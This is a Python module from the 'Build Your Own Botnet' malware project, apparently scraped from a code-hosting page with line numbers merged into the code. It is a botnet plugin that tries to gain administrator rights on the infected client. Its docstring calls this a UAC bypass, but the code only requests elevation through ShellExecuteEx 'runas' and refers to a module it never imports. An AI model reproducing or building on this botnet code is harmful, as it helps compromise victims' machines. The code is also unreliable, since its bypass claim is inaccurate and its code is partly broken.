Path: blob/master/web-gui/buildyourownbotnet/modules/escalate.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Escalate Privileges (Build Your Own Botnet)'34# standard library5import os6import sys7import ctypes89# packages10if sys.platform == 'win32':11import win32com.client1213# utilities14import util1516# globals17packages = ['win32com.client']18platforms = ['win32']19results = {}20usage = 'escalate'21description = """22Attempt UAC bypass to escalate privileges in the current23context on the client host machine24"""2526# main27def run(filename):28"""29Attempt to escalate privileges3031`Required`32:param str filename: filename to run as administrator3334"""35try:36if isinstance(filename, str) and os.path.isfile(filename):37if bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0):38return "Current user has administrator privileges"39else:40if os.name == 'nt':41return win32com.shell.shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters='{} asadmin'.format(filename))42else:43return "Privilege escalation not yet available on '{}'".format(sys.platform)44else:45return "Error: argument 'filename' must be a valid filename"46except Exception as e:47return "{} erorr: {}".format(__name__, str(e))484950